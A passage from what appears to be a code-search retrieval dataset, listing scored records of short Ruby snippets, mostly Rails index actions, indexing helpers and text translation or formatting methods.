index_name_by_id(index_id)\n data_dictionary.index_by_id(index_id).fetch(\"NAME\", nil)\n end", "title": "" }, { "docid": "8bdc5c704b7ce769a293855814d77566", "score": "0.53504986", "text": "def index_to_input(index)\n (index + 1).to_s\n end", "title": "" }, { "docid": "e79f1e980cda97796760bb362a3620d8", "score": "0.5345488", "text": "def track_string( info_index, result_index )\n\t\t\tresult=\" \" # This space is necessary for proper identification of whole page names\n\t\t\tn = self\n\t\t\trepeat_counter = 1\n\t\t\twhile n != nil\n\n\t\t\t\tnext_value = nil\n\t\t\t\tdisplay_value = n.info[ result_index ]\n\t\t\t\tif ( n.next[ info_index ] != nil )\n\t\t\t\t\tnext_value = n.next[ info_index ].info[ result_index ]\n\t\t\t\tend\n\n\t\t\t\tif ( display_value != next_value || n.next[ info_index ] == nil )\n\t\t\t\t\tresult=\"#{result}#{display_value}\"\n\t\t\t\t\tif repeat_counter > 1\n\t\t\t\t\t\tresult = \"#{result} (#{repeat_counter})\"\n\t\t\t\t\tend\n\t\t\t\t\tif ( n.next[ info_index ] != nil )\n\t\t\t\t\t\tresult = \"#{result} -> \"\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif ( display_value == next_value)\n\t\t\t\t\trepeat_counter = repeat_counter + 1\n\t\t\t\telse \n\t\t\t\t\trepeat_counter = 1\n\t\t\t\tend\n\n\n\t\t\t\tn = n.next[ info_index ]\n\t\t\t\tprevious_display_value = display_value\n\t\t\tend\n\t\t\tresult = \"#{result} \" # this space is necessary for proper identification of whole names\n\t\t\t\n\t\t\treturn result\n\t\tend", "title": "" }, { "docid": "f17033579bdec7245dd38b886606f82a", "score": "0.53429425", "text": "def index_signature; end", "title": "" }, { "docid": "93c1f9efe17c5625e87c204933df560f", "score": "0.533877", "text": "def index\n @title=t(\"admin.base.index.title\")\n end", "title": "" }, { "docid": "b66ce4c7b84baa978f087d5e8c7cd2e4", "score": "0.53305686", "text": "def index\n set_index_data\n @text_component = @new_text_component\n end", "title": "" }, { "docid": "b66ce4c7b84baa978f087d5e8c7cd2e4", "score": "0.53305686", "text": "def index\n set_index_data\n @text_component = @new_text_component\n end", "title": "" }, { "docid": "63537d61e3b9e577eed48da6190f4da7", "score": "0.53198904", "text": "def agg_pubkey(index)\n payload = db.get(KEY_PREFIX[:agg_pubkey] + index.to_even_length_hex)\n [payload[0...(payload.length - 66)].to_i(16), payload[(payload.length - 66)..-1]]\n end", "title": "" }, { "docid": "a090c414a279c8ebf2f8d60328680e74", "score": "0.53015065", "text": "def locale_idx; end", "title": "" }, { "docid": "9990a2ab3b334bfd0118aa9a5d87cc11", "score": "0.52957356", "text": "def aqi_message_set(index)\n case index.to_i\n when 0..50\n \"Good\"\n when 51..100\n \"Moderate\"\n when 101..150\n \"Unhealthy For Sensitive Groups\"\n when 151..200\n \"Unhealthy\"\n when 201..300\n \"Very Unhealthy\"\n else\n \"Hazardous\"\n end\n end", "title": "" }, { "docid": "6e0284b0f3135d62814a7d41938fe951", "score": "0.52920204", "text": "def display_name\n \"#{self.class.name} for #{indices.join(', ')}\"\n end", "title": "" }, { "docid": "c79bdaa1f345acd26d037e117d227052", "score": "0.5289953", "text": "def index_name(event)\n\n index_name, num_docs, write_alias, read_alias = index_status()\n @logger.error(\"status\", :index_name => index_name, :num_docs => num_docs, :write_alias => write_alias, :read_alias => read_alias)\n\n if num_docs == 0\n\n @logger.error(\"index does not exist, create one\", :index_name => index_name)\n\n create_index(index_name)\n\n create_index_aliases(index_name, write_alias, read_alias)\n\n elsif num_docs < @messages_per_slice\n\n @logger.error(\"less than, use the current index\", :index_name => index_name)\n\n else\n\n @logger.error(\"greater than or equal to, create new index and aliases\")\n\n slice = index_name.split('_')[0].to_i\n @logger.error(\"slice\", :slice => slice)\n\n new_index_name = to_index_name(slice += 1, @application, @domain)\n @logger.error(\"index_name\", :new_index_name => new_index_name)\n\n create_index(new_index_name)\n\n update_index_aliases(index_name, new_index_name, write_alias, read_alias)\n end\n\n write_alias\n\n end", "title": "" }, { "docid": "758888b577e255455276a2c36c543565", "score": "0.5279239", "text": "def indexed\n self['indexed']\n end", "title": "" }, { "docid": "11abbabdb1b85e3e3d23288c014e311c", "score": "0.5272964", "text": "def label(index_)\n @axis_object.label(index_)\n end", "title": "" }, { "docid": "6ba0f1cc704ec9f73d43558b42c804f6", "score": "0.52707636", "text": "def to_read_index_alias_name()\n sprintf(\"%s_%s\", @application, @domain)\n end", "title": "" }, { "docid": "0fafa0ee40596f4d4e827b45c518b0ed", "score": "0.52573496", "text": "def grade_level_string_by_index(index)\n\t\tcase index\n\t\t\twhen 0\n\t\t\t\treturn \"ps\"\n\t\t\twhen 1\n\t\t\t\treturn \"pk\"\n\t\t\twhen 2\n\t\t\t\treturn \"k\"\n\t\t\twhen (3..14)\n\t\t\t\treturn \"#{index-2}g\"\n\t\t\twhen 15\n\t\t\t\treturn \"pr\"\n\t\t\twhen 16\n\t\t\t\treturn \"bsba\"\n\t\t\twhen 17\n\t\t\t\treturn \"ms\"\n\t\t\twhen 18\n\t\t\t\treturn \"phd\"\n\t\t\twhen 19\n\t\t\t\treturn \"pd\"\n\t\tend\n\t\t#otherwise\n\t\treturn \"Invalid grade level index!\"\n\tend", "title": "" }, { "docid": "45f9d850167e6b79c1e58e8868346dc2", "score": "0.52547705", "text": "def index_id\n doc_hash.fetch('id')\n end", "title": "" }, { "docid": "ad5f7f0e3a10500b771f2f1e9a7d5fc0", "score": "0.5253487", "text": "def index()\n @index\n end", "title": "" }, { "docid": "c5bfc95f90af262b79e4c86d3f5a6fd4", "score": "0.5249123", "text": "def index_information\n collection.index_information\n end", "title": "" }, { "docid": "c5bfc95f90af262b79e4c86d3f5a6fd4", "score": "0.5249123", "text": "def index_information\n collection.index_information\n end", "title": "" }, { "docid": "c5bfc95f90af262b79e4c86d3f5a6fd4", "score": "0.5249123", "text": "def index_information\n collection.index_information\n end", "title": "" }, { "docid": "aefaf09e01bcebafc1f25ad8ecdffcc2", "score": "0.5239953", "text": "def dumpIndex()\n\t\t@index.each do | key, val |\n\t\t\tputs \"#{key} : #{val}\"\n\t\tend\n\tend", "title": "" }, { "docid": "7cf1c43966d3dd9f9f2265060ccf82de", "score": "0.5233921", "text": "def get_text_for_indexing_full\n return get_body_for_quoting + \"\\n\\n\" + get_attachment_text_full\n end", "title": "" }, { "docid": "f30297bcc328422d5b33afe3179919e2", "score": "0.5201912", "text": "def show\n\t\tcreate_audit __method__, 'subject', @subject.id\n\tend", "title": "" }, { "docid": "9629c32a8585b27a2d5cb2a8df876507", "score": "0.5199072", "text": "def find_alphabetic_index\n @alphabetic_index = AlphabeticIndex.find(params[:id]).current_version\n end", "title": "" }, { "docid": "82e96812c9ccd19023a8dc537412352a", "score": "0.51974595", "text": "def index_for(type, value)\n order = Kubes.config.kubectl.order.send(type) # kinds or roles\n index = order.index(value.to_s) || 999\n i = index.to_s.rjust(3, \"0\") # pad with 0\n \"#{i}-#{value}\" # append name so that terms with same index get order alphabetically\n end", "title": "" }, { "docid": "3efe254df1dd371121cae251cad4262e", "score": "0.51876354", "text": "def index\n @chunker_subjects = ChunkerSubject.all.order(:name)\n end", "title": "" }, { "docid": "a488c61d62270b45b5065c39d55753f7", "score": "0.51867986", "text": "def aget(index)\n end", "title": "" }, { "docid": "6566fe4d9a073abb33aeec310ce3d87c", "score": "0.51865673", "text": "def subject_version(subject, version = 'latest')\n get \"/subjects/#{subject}/versions/#{version}\"\n end", "title": "" }, { "docid": "20d130f74faf556987f2d6a5e6f7b464", "score": "0.5172739", "text": "def first_student_by_index\n return STUDENT_NAMES[0]\n end", "title": "" }, { "docid": "a5a435c6a6ea5f1679bfcdb3a4006dfa", "score": "0.51723534", "text": "def add_index(key)\n puts \"\\nWriting out index...\"\n start_new_page\n fix_margins\n @pdf.stop_columns\n @pdf.text \"<b>Index of Presenters, Mentors and Moderators</b>\", :font_size => 16\n @pdf.start_columns(3)\n @pdf.top_margin = @@TOP_MARGIN + 42\n current_letter = nil\n for item, pages in @indexes[key].sort_by{|k,v| k.to_s.downcase}\n if current_letter != item[0..0].downcase\n move_to_newline(nil, true)\n current_letter = item[0..0].downcase\n fix_margins\n @pdf.text \"<b>#{current_letter.upcase}</b>\", :font_size => 12\n fix_margins\n move_to_newline(18)\n end\n fix_margins\n # @pdf.add_text @x, @pdf.y, \"#{item} #{pages.uniq.join(\", \")}\", 9\n @size = 9\n parse_and_add_text(\"#{item} #{pages.uniq.join(\", \")}\", \"||\", :left, 10, 20)\n move_to_newline(10)\n end\n end", "title": "" }, { "docid": "d3d13d773efe3dd4b94cb72286bfd2c8", "score": "0.5160498", "text": "def textual_title\n @record.title\n end", "title": "" }, { "docid": "5fb428c33a491ef6e7bf92cc66ccce07", "score": "0.5158467", "text": "def index\n @index\n end", "title": "" }, { "docid": "4006141fb50f39cec6933343e8e65aa8", "score": "0.51424724", "text": "def index\n\t\t\"#{self}.index\"\n\tend", "title": "" }, { "docid": "b14e3692598f557f3802cdd1fc8f500f", "score": "0.5140806", "text": "def to_write_index_alias_name()\n sprintf(\"_w_%s_%s\", @application, @domain)\n end", "title": "" }, { "docid": "34f8a6e7b839f2ad7c246f7820fca473", "score": "0.5139811", "text": "def get_subject\n out = ''\n if aggregate_count > 1 #multiple records of any type\n if type_count > 1 #multiple types of records\n if distinct_aggregate_count > 1 #multiple profiles\n others = (distinct_aggregate_count-1)\n out << \"and #{pluralize(others, 'other')} \"\n out << subject_aggregate.sub('was ','were ')\n out << \" #{type_count} times\"\n else\n out << subject_aggregate\n out << \" #{type_count} times\"\n end\n else\n if distinct_aggregate_count > 1 #multiple profiles\n others = (distinct_aggregate_count-1)\n out << \"and #{pluralize(others, 'other')} \"\n out << subject.sub('was ','were ')\n else\n out << subject\n end\n end\n else\n out << subject\n end\n return out.html_safe\n end", "title": "" }, { "docid": "551d1639956c88072d86dbf84ed00131", "score": "0.5138417", "text": "def digest\n @title\n end", "title": "" }, { "docid": "551d1639956c88072d86dbf84ed00131", "score": "0.5138417", "text": "def digest\n @title\n end", "title": "" }, { "docid": "19d2753110f783179e2156c5871f5fcc", "score": "0.5135855", "text": "def index\n @subject = Subject.find(params[:subject_id])\n \n end", "title": "" }, { "docid": "2e843f72ad1431fcd215f31366c0932e", "score": "0.513201", "text": "def parse_index\n index = PostIndex.find_by_index(params[:index])\n \n if (index)\n respond_to do |format|\n format.html { render :text => index.region + ';' + index.area + ';' + index.city }\n end\n else\n respond_to do |format|\n format.html { render :text => '', :status => 404 }\n end\n end\n end", "title": "" }, { "docid": "710384d164cfdfdff081f572b48aaa42", "score": "0.51318365", "text": "def subject\n title \n end", "title": "" }, { "docid": "95d1180c82cdd3cffeff9441d000095d", "score": "0.5131592", "text": "def string_index\n @string_index ||= query.index(reference)\n end", "title": "" }, { "docid": "1277375451a16655cceef6d797529f03", "score": "0.5131478", "text": "def [](index)\n case index\n when Integer\n values[index]\n when self\n values[index.index]\n else\n name = index.to_s\n case name\n when /\\A(\\d+)\\Z/\n return values[$1.to_i]\n when /\\A[a-z]/\n name = name.to_str.gsub(/(?:\\A|_)(.)/) { $1.upcase }\n end\n with_name(name)\n end\n end", "title": "" }, { "docid": "9863d1e6df97ab4ab514efbf6c345cda", "score": "0.5127911", "text": "def label()\n if @v_index == nil\n return nil\n else\n return Vocab::dataviews_strings[@v_index]\n end\n end", "title": "" }, { "docid": "43d9baef48d43155a4414e46f96e4ef3", "score": "0.51242656", "text": "def index\n @index ||= 1\n end", "title": "" }, { "docid": "d0e1de61fdd3b17c2381046c60ded7bd", "score": "0.5120488", "text": "def subject_name\n subject_full_name\n end", "title": "" }, { "docid": "3781f6213df39c1a75a6a1e87912d08d", "score": "0.5118504", "text": "def index\n @master_texts = @project.master_texts.order(Arel.sql(\"LOWER(key)\"))\n # TODO: would be nice to have an index on lower(key), but hard to do without moving schema.sql -- think more on it\n end", "title": "" }, { "docid": "76ce1044f503618ceaadcd93bd48335a", "score": "0.5113357", "text": "def create_index1(word)\n word.chars.sort!.join\n end", "title": "" }, { "docid": "29ff72fd61e075a7e452faf0fec7acef", "score": "0.5112658", "text": "def get index\n @letters[index]\n end", "title": "" }, { "docid": "63b245a64ae5c254235cd9fb9345a52a", "score": "0.51096654", "text": "def index\n\t @search = Subject.search do\n\t\t\tfulltext params[:search]\n\t\t end\n\t\t@subjects = @search.results\n\t\t#@subjects = Subject.all\n\tend", "title": "" }, { "docid": "b9f51c445355225b9482619064585eb4", "score": "0.5102902", "text": "def test_reg_index\n message_ind = Register.resolve_index( :message , :receiver )\n assert_equal 3 , message_ind\n @mess.receiver = 55\n assert_equal 55 , @mess.get_internal_word(message_ind)\n end", "title": "" }, { "docid": "bf3f004d250a6fbb6451b328f9977e8a", "score": "0.5100745", "text": "def to_s\n \"#{'%04i' % year}-W#{'%02i' % index}\"\n end", "title": "" }, { "docid": "8dc4f3d9273165269bbe82c8ff51131c", "score": "0.50919867", "text": "def [](index)\n @index[index]\n end", "title": "" }, { "docid": "547361a044d6a9accfb3098affd866d5", "score": "0.5088467", "text": "def index\n @index\n end", "title": "" }, { "docid": "547361a044d6a9accfb3098affd866d5", "score": "0.5088467", "text": "def index\n @index\n end", "title": "" }, { "docid": "d4d7d75c44496796189c7e3b5c499ccb", "score": "0.5078666", "text": "def index_to_letter(index)\n ALPHA26[index]\n end", "title": "" }, { "docid": "849b423cdb8695978b5cb549a029d451", "score": "0.50784445", "text": "def index\n @title = t('conclusion_report.index_title')\n\n respond_to do |format|\n format.html\n end\n end", "title": "" } ]
593bf8cf3a9eb04dd4b5afb50a4c72df
this is just to enable use of `text` from the TextHelpers::Translation module
[ { "docid": "3e5b18b4b7fe7864fa6af92df11b933a", "score": "0.0", "text": "def translation_scope\n \"order_details.notices\"\n end", "title": "" } ]
[ { "docid": "1f29f45d2b468f44cc073b57378ac8b4", "score": "0.78279066", "text": "def translate_text(text)\n I18n.t(\"backend.texts.#{text.to_s.downcase.gsub(/\\s/, \"_\")}\", :default => text.to_s.humanize)\n end", "title": "" }, { "docid": "f5d0537a87c35ff4affb3a0dd5661a0a", "score": "0.7597988", "text": "def text\n # if the title is not present, show the code\n get_translation(self.text_translations, self.dataset.current_locale, self.dataset.default_language)\n end", "title": "" }, { "docid": "2329e6ff895e53f55ca13d1e167d547a", "score": "0.74463665", "text": "def text text\n end", "title": "" }, { "docid": "0a89fb1f40e2aa2198c7a7ff6300eb9c", "score": "0.73889136", "text": "def text(locale = I18n.locale)\n output = send(:\"text_#{locale}\")\n output = output.blank? ? text_en : output\n output.blank? ? text_de : output\n end", "title": "" }, { "docid": "256547c717551d6a6ddab55fd256a0c1", "score": "0.72668135", "text": "def translated_text(args = {})\n objects = args[:locale].nil? ? translations : for_language(args[:locale])\n objects.collect(&:text)\n end", "title": "" }, { "docid": "6c32275f3c3ea5e5034aebf49e25d098", "score": "0.70883566", "text": "def text(attr = nil, model = nil)\n keys = i18n_keys(attr, model) << self.underscore.humanize\n ::I18n.translate(keys.shift, default: keys)\n end", "title": "" }, { "docid": "fde73356ed5cb671728f044056ba62fd", "score": "0.68898344", "text": "def text(*)\n super\n end", "title": "" }, { "docid": "335961c358398912a0fb0cb91e9b31b1", "score": "0.68760103", "text": "def translations; end", "title": "" }, { "docid": "7199fbd11e167638ec69962561d349f4", "score": "0.6833873", "text": "def texts; end", "title": "" }, { "docid": "0acf59e6541b5776ce37550a1cce56f7", "score": "0.6830365", "text": "def text(text)\n @text = text\n end", "title": "" }, { "docid": "e8b3c212f8b03a3b552dc2d4c0e8a5c4", "score": "0.67944753", "text": "def get_text\n return self.text\n end", "title": "" }, { "docid": "f45dc3fc5eebdcc8325a5f98389dea5e", "score": "0.67883146", "text": "def get_text\n raise NotImplementedError\n end", "title": "" }, { "docid": "05aed336ac45eaee5c08cbf3ef683cd8", "score": "0.67361736", "text": "def text(_content)\n raise NotImplementedError\n end", "title": "" }, { "docid": "3a329a798b1dfd81f2e16f942e90c959", "score": "0.66514975", "text": "def texts_translated\n @texts_translated ||= tokens_translated.map do |group|\n group.map { |value, type| type == :text ? value : fix_ascii(value) }.join\n end\n end", "title": "" }, { "docid": "6c77419927324ccbda696bb9ee1e0d51", "score": "0.6651279", "text": "def text(*args)\n if args.size.zero?\n @text = ''\n else\n @text = args.first\n end\n end", "title": "" }, { "docid": "6c77419927324ccbda696bb9ee1e0d51", "score": "0.6651279", "text": "def text(*args)\n if args.size.zero?\n @text = ''\n else\n @text = args.first\n end\n end", "title": "" }, { "docid": "c08249beae98412f17f78e682ecb535c", "score": "0.657879", "text": "def translate(settings); end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "f90ee5f1e9fb242c7b578d7f1755466f", "score": "0.65762675", "text": "def text; end", "title": "" }, { "docid": "7c435462f72f496d39387a6a2dff8ee6", "score": "0.65428615", "text": "def add_text(text); end", "title": "" }, { "docid": "59d3bbdc2220b1f69ff556f740d638dc", "score": "0.65403706", "text": "def text(string); end", "title": "" }, { "docid": "59d3bbdc2220b1f69ff556f740d638dc", "score": "0.65403706", "text": "def text(string); end", "title": "" }, { "docid": "b9dab7c1a6fd35e390953779ef8bed53", "score": "0.6506838", "text": "def article_title_lang_display(text)\n\t\tarticle_lang_display(text)\n\tend", "title": "" }, { "docid": "1698f4196267f11ea3d17a38dd72e733", "score": "0.6505962", "text": "def text _args\n \"text _args;\" \n end", "title": "" }, { "docid": "1698f4196267f11ea3d17a38dd72e733", "score": "0.6505962", "text": "def text _args\n \"text _args;\" \n end", "title": "" }, { "docid": "affeade8acdcd743bdebebf3f16a3b25", "score": "0.6505345", "text": "def text\n @text\n end", "title": "" }, { "docid": "3bfc7bf17ed03ba389da73c17a0e4277", "score": "0.6488122", "text": "def text?; end", "title": "" }, { "docid": "3bfc7bf17ed03ba389da73c17a0e4277", "score": "0.6488122", "text": "def text?; end", "title": "" }, { "docid": "3bfc7bf17ed03ba389da73c17a0e4277", "score": "0.6488122", "text": "def text?; end", "title": "" }, { "docid": "92fa00e8e615debd3c80434de77fb68f", "score": "0.6483165", "text": "def label_translation; end", "title": "" }, { "docid": "c18e607af67b02ede8df1fb0cc5712aa", "score": "0.6470597", "text": "def getText _args\n \"getText _args;\" \n end", "title": "" }, { "docid": "9148f409480493cc8e67cb6066f53bd5", "score": "0.6466824", "text": "def set_text(text); end", "title": "" }, { "docid": "e6841aaca9748605ecc7581f0357cb93", "score": "0.6459891", "text": "def translate_label(text)\n I18n.t(\"backend.labels.#{text.to_s.downcase.gsub(/\\s/, \"_\")}\", :default => text.to_s.humanize)\n end", "title": "" }, { "docid": "5c35c1c26123b12371af78cfeec97049", "score": "0.6454201", "text": "def text\n @text\n end", "title": "" }, { "docid": "d1dc595c8b9e710ed90f6b07900a5d97", "score": "0.64269924", "text": "def suitable_locale_text(texts)\n english = texts.select { |t| english_locales.include? t[\"locale\"] }\n (english + texts).first[\"text\"]\n end", "title": "" }, { "docid": "fafaedfaa7e0b5b7d3ec07657cad6ab5", "score": "0.64266074", "text": "def textilizable(text, options = {})\r\n return \"\" if text.blank?\r\n\r\n # different methods for formatting wiki links\r\n case options[:wiki_links]\r\n when :local\r\n # used for local links to html files\r\n format_wiki_link = Proc.new {|title| \"#{title}.html\" }\r\n when :anchor\r\n # used for single-file wiki export\r\n format_wiki_link = Proc.new {|title| \"##{title}\" }\r\n else\r\n if @project\r\n format_wiki_link = Proc.new {|title| url_for :controller => 'wiki', :action => 'index', :id => @project, :page => title }\r\n else\r\n format_wiki_link = Proc.new {|title| title }\r\n end\r\n end\r\n\r\n # turn wiki links into textile links:\r\n # example:\r\n # [[link]] -> \"link\":link\r\n # [[link|title]] -> \"title\":link\r\n text = text.gsub(/\\[\\[([^\\]\\|]+)(\\|([^\\]\\|]+))?\\]\\]/) {|m| \"\\\"#{$3 || $1}\\\":\" + format_wiki_link.call(Wiki.titleize($1)) }\r\n\r\n # turn issue ids into links\r\n # example:\r\n # #52 -> <a href=\"/issues/show/52\">#52</a>\r\n text = text.gsub(/#(\\d+)(?=\\b)/) {|m| link_to \"##{$1}\", :controller => 'issues', :action => 'show', :id => $1}\r\n\r\n # turn revision ids into links (@project needed)\r\n # example:\r\n # r52 -> <a href=\"/repositories/revision/6?rev=52\">r52</a> (@project.id is 6)\r\n text = text.gsub(/(?=\\b)r(\\d+)(?=\\b)/) {|m| link_to \"r#{$1}\", :controller => 'repositories', :action => 'revision', :id => @project.id, :rev => $1} if @project\r\n\r\n # when using an image link, try to use an attachment, if possible\r\n attachments = options[:attachments]\r\n if attachments\r\n text = text.gsub(/!([<>=]*)(\\S+\\.(gif|jpg|jpeg|png))!/) do |m|\r\n align = $1\r\n filename = $2\r\n rf = Regexp.new(filename, Regexp::IGNORECASE)\r\n # search for the picture in attachments\r\n if found = attachments.detect { |att| att.filename =~ rf }\r\n image_url = url_for :controller => 'attachments', :action => 'show', :id => found.id\r\n \"!#{align}#{image_url}!\"\r\n else\r\n \"!#{align}#{filename}!\"\r\n end\r\n end\r\n end\r\n\r\n # finally textilize text\r\n @do_textilize ||= (Setting.text_formatting == 'textile') && (ActionView::Helpers::TextHelper.method_defined? \"textilize\")\r\n text = @do_textilize ? auto_link(RedCloth.new(text, [:hard_breaks]).to_html) : simple_format(auto_link(h(text)))\r\n end", "title": "" }, { "docid": "9adaecfa942f08508560021049b00364", "score": "0.6417658", "text": "def text\n raise \"text must be defined in any class that extends QuestionBase\"\n end", "title": "" }, { "docid": "057ceddaa214a3a474051cd6cf742f01", "score": "0.64140517", "text": "def text\n # if the title is not present, show the code\n x = get_translation(self.text_translations, self.time_series.current_locale, self.time_series.default_language)\n return x.present? ? x : self.original_code\n end", "title": "" }, { "docid": "1d4745ec727ac59b23a1d5ff2a81779d", "score": "0.641171", "text": "def text(args = {}, &block)\n build_sub_component config(:card_text, :p), :text, args, &block\n end", "title": "" }, { "docid": "45071f41246d8869b721b97cde61b010", "score": "0.6406502", "text": "def translate_input_text\n if self.language\n self.output_text = self.language.translate(self.input_text)\n else\n self.output_text = self.input_text\n end\n end", "title": "" }, { "docid": "f4677e1a1734c3971aa11ba90232a98a", "score": "0.6400417", "text": "def as_text\n @text\n end", "title": "" }, { "docid": "9f7e0b2d1e50703b2fb924459cfed61a", "score": "0.6388082", "text": "def text(t)\n\t\t\treturn t.text unless t.nil?\n\t\t\tt\n\t\tend", "title": "" }, { "docid": "47ecf7966ba54f6adae80f752475825b", "score": "0.6374208", "text": "def localize_text(locale, text)\n text_tag = Regexp.escape(localize_text_tag).to_s\n expression = Regexp.new(text_tag + \"(.*?)\" + text_tag)\n tagged_text = text[expression, 1]\n while tagged_text do\n text = text.sub(expression, translate(locale, tagged_text))\n tagged_text = text[expression, 1]\n end\n return text\n end", "title": "" }, { "docid": "28493c72bdbe40af5cc4275db3e1f1fa", "score": "0.6362837", "text": "def lbText _obj, _args\n \"_obj lbText _args;\" \n end", "title": "" }, { "docid": "e0c4db485be55a2c7179709940204442", "score": "0.63468665", "text": "def text(value)\n attributes[:text] = value\n end", "title": "" }, { "docid": "ab348908a10227332562f6c450e6f62c", "score": "0.63431513", "text": "def text(*args)\n Text.new(self, *args)\n end", "title": "" }, { "docid": "5c6f9ed05cc3c1e3a1fafd3c196efd79", "score": "0.6335724", "text": "def special_text\n @special_text\n end", "title": "" }, { "docid": "f18331dc5ee948803eda269e377d3d15", "score": "0.63279045", "text": "def t(*args); I18n.t(*args) end", "title": "" }, { "docid": "9c63590dc7d6f0204ba0fcd9abefd082", "score": "0.632298", "text": "def text(str); end", "title": "" }, { "docid": "e2d84bd602db4d04a6d8991024eef630", "score": "0.63206595", "text": "def has_text?; end", "title": "" }, { "docid": "e582d41995911f68b6474f4df7b6606e", "score": "0.6318651", "text": "def formatted_text\n\t\tcase self.text\n\t\t\twhen \"space_created\"\n\t\t\t\treturn \"Space created, \\'#{self.reference.name}\\'\"\n\t\t\twhen \"discussion_created\"\n\t\t\t\treturn \"Discussion added, \\'#{self.reference.subject}\\'\"\n\t\t\twhen \"comment_created\"\n\t\t\t\treturn \"Comment added to \\'#{self.reference.discussion.subject}\\'\"\n\t\tend\n\tend", "title": "" }, { "docid": "76535579f2dfc32d8713cba296f30f6b", "score": "0.63171095", "text": "def text\n options[:text]\n end", "title": "" }, { "docid": "2965933437139e11e1341d58c2f9c756", "score": "0.6315111", "text": "def new_text=(value)\n @new_text = value\n end", "title": "" }, { "docid": "bb5ccfa412a2a726e7d4ce5cc504f499", "score": "0.63130295", "text": "def text\n attributes.fetch(:text)\n end", "title": "" }, { "docid": "bb5ccfa412a2a726e7d4ce5cc504f499", "score": "0.63130295", "text": "def text\n attributes.fetch(:text)\n end", "title": "" }, { "docid": "bb5ccfa412a2a726e7d4ce5cc504f499", "score": "0.63130295", "text": "def text\n attributes.fetch(:text)\n end", "title": "" }, { "docid": "db6381fd43df172e2ea0562f4f424f92", "score": "0.63001144", "text": "def text=(text)\n end", "title": "" }, { "docid": "03e41fba58d43b86d405311bffdb8a33", "score": "0.62951934", "text": "def text=(text)\n\t\tend", "title": "" }, { "docid": "7eaa74a86ee91b640f4e2e0461fb5785", "score": "0.6293187", "text": "def translate(input_text, src_lang, target_lang)\n raise \"Not Implemented. Class #{self.class.name} doesn't implement translate\"\n end", "title": "" }, { "docid": "7075728f46728aae04ff657172e497e5", "score": "0.6281125", "text": "def texts=(texts); end", "title": "" }, { "docid": "7075728f46728aae04ff657172e497e5", "score": "0.6281125", "text": "def texts=(texts); end", "title": "" }, { "docid": "9a6ea415e166c4019f45ea50920f99be", "score": "0.6274281", "text": "def text=(text); end", "title": "" }, { "docid": "4fb78cc7600d0a5b2ef284d72179f84c", "score": "0.6273843", "text": "def set_text(text)\n @text = text\n end", "title": "" }, { "docid": "d960b4cfa8750a3841fa6964bd3ef138", "score": "0.6240207", "text": "def translation(string, attributes)\n string\n end", "title": "" }, { "docid": "7def453986e254783d096e7515de9a84", "score": "0.62279105", "text": "def translate()\n\nend", "title": "" }, { "docid": "7def453986e254783d096e7515de9a84", "score": "0.62279105", "text": "def translate()\n\nend", "title": "" }, { "docid": "7def453986e254783d096e7515de9a84", "score": "0.62279105", "text": "def translate()\n\nend", "title": "" }, { "docid": "7def453986e254783d096e7515de9a84", "score": "0.62279105", "text": "def translate()\n\nend", "title": "" }, { "docid": "7def453986e254783d096e7515de9a84", "score": "0.62279105", "text": "def translate()\n\nend", "title": "" }, { "docid": "7def453986e254783d096e7515de9a84", "score": "0.62279105", "text": "def translate()\n\nend", "title": "" }, { "docid": "7def453986e254783d096e7515de9a84", "score": "0.62279105", "text": "def translate()\n\nend", "title": "" }, { "docid": "7def453986e254783d096e7515de9a84", "score": "0.62279105", "text": "def translate()\n\nend", "title": "" }, { "docid": "29acce189380d0b300c671743eb8cc71", "score": "0.62183374", "text": "def have_text(text)\n HaveText.new(text)\n end", "title": "" }, { "docid": "98bb0fa3a2d7f5866365fe7d1b391b77", "score": "0.62177664", "text": "def text=(_arg0); end", "title": "" }, { "docid": "517c172432ace0dc135977e965fd6e75", "score": "0.62110925", "text": "def text\n ignores = [\n :text, :to_solr, :contribs, :img_src, :media_srcs,\n :captions_src, :transcript_src, :rights_code,\n :access_level, :access_types, :title, :ci_ids, :display_ids,\n :instantiations, :outside_url,\n :reference_urls, :exhibits, :special_collection, :access_level_description,\n :img_height, :img_width, :player_aspect_ratio,\n :player_specs, :transcript_status, :transcript_content,\n :playlist_group, :playlist_order, :playlist_map,\n :playlist_next_id, :playlist_prev_id, :supplemental_content, :contributing_organization_names,\n :contributing_organizations_facet, :contributing_organization_names_display, :producing_organizations,\n :producing_organizations_facet, :build_display_title\n ]\n\n @text ||= (PBCore.instance_methods(false) - ignores)\n .reject { |method| method =~ /\\?$/ } # skip booleans\n .map { |method| send(method) } # method -> value\n .select { |x| x } # skip nils\n .flatten # flattens list accessors\n .map { |x| x.respond_to?(:to_a) ? x.to_a : x } # get elements of compounds\n .flatten.uniq.sort\n end", "title": "" }, { "docid": "adcf19eaa7fac576f641f2408f7749c9", "score": "0.62100244", "text": "def _(text)\n text\n end", "title": "" }, { "docid": "7e3c427e56734f21d5274056f582beaf", "score": "0.6199885", "text": "def get_text(to_translate)\n return send(*to_translate) if to_translate.is_a?(Array)\n return to_translate\n end", "title": "" }, { "docid": "f2863a19dca89e101fc50d204ce2d0cc", "score": 